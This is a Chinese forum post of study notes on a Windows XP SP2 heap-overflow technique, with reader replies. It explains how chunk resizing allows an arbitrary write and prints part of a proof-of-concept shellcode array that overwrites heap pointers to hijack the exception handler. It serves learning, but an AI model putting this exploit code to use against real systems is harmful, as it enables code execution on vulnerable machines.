首页
社区
课程
招聘
[原创]<0day安全 堆溢出>
发表于: 2018-11-17 22:57 14363

[原创]<0day安全 堆溢出>

2018-11-17 22:57
14363

堆溢出学习笔记:

看了0day漏洞利用的堆溢出,想自己亲手试试一个最简单的堆溢出;

因为windows对堆的保护加强,已经不能用以前的方法溢出堆来执行我们的代码,但是还可以利用chunk重设大小来攻击堆。

先来看一下重设chunk的过程大致执行的操作吧:

(第一步)   新chunk->Flink=旧chunk->Flink

(第二步)   新chunk->Blink=旧chunk->Blink

(第三步)   旧chunk->Flink->Blink->Flink=新chunk

(第四步)   旧chunk->Flink->Blink=新chunk

这里需要注意的是旧chunk是从链表卸下来的,卸下来的时候的前向指针和后向指针还指向它的位置前后的链表;

[0x003906A0]=0XAAAAAAAA;

[0x003906A0+4]=0XBBBBBBBB;

[[0xAAAAAAAA+4]]= 0x003906A0;

[0xAAAAAAAA+4]= 0x003906A0;

我们可以利用覆盖的地址进行特定地址写入,假如把异常处理函数写为我们的堆里面可控的代码,然后触发异常我们就能拿到EiP的控制权;

我的调试环境为 winxp sp2;

下面我们通过一个小例子来理解这一过程:

#include <stdio.h>

#include<windows.h>

char shellcode[]=

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x2a\x01\x06\x00\x00\x10\x00\x00"

"\xeb\x06\x9f\x00\xeb\x06\x9f\x00"//这里正好覆盖原来chunk的前向指针和后向指针

"\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\xeb\x31\x90\x90\x90\x90\x90\x90"//这里是跳过后面的垃圾代码

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x2a\x01\x06\x00\x00\x10\x00"

"\x8c\x06\x9f\x00\xe4\xff\x22\x00"//伪造的前向指针和后向指针其中0x0022ffe4为异常处理指针

"\xb8\x48\x9b\x83\x7c"//mov EAX,0x7c839b48这两步是修复异常指针

"\xa3\xe4\xff\x22\x00"//mov [0x22ffe4],EAx

"\x33\xdb"                //xor ebx,ebx

"\x53"                   //push ebx

"\x68\x6f\x64\x65\x21"   //ode!

"\x68\x65\x6c\x6c\x63"   //ellc

"\x68\x6f\x20\x73\x68"   //o sh

"\x68\x68\x65\x6c\x6c"   //hell

"\x8b\xc4"            //mov eax,esp

"\x53"                   //push ebx

"\x50"                   //push eax

"\x50"                   //push eax


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 6
支持
分享
最新回复 (7)
雪    币: 177
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
请问你用的是哪一个win版本?
2018-11-19 11:43
0
雪    币: 299
活跃值: (199)
能力值: ( LV4,RANK:45 )
在线值:
发帖
回帖
粉丝
3
我用的win xp sp2 有些地址需要你自己替换一下
2018-11-19 12:27
0
雪    币: 177
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
才看到谢谢
2018-12-4 15:55
0
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
不错,学习一下
2018-12-13 09:42
0
雪    币: 299
活跃值: (199)
能力值: ( LV4,RANK:45 )
在线值:
发帖
回帖
粉丝
6
谢谢
2018-12-14 01:52
0
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
7
你好,我想请问一下最后一步的[[9f06eb+4]]=0x9f06b8中的0x9f06b8是怎么来的
2020-10-31 16:52
0
雪    币: 220
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
8
这个公式好像和书中的不一样?哪个正确啊
2022-10-14 18:40
0
游客
登录 | 注册 方可回帖
返回
//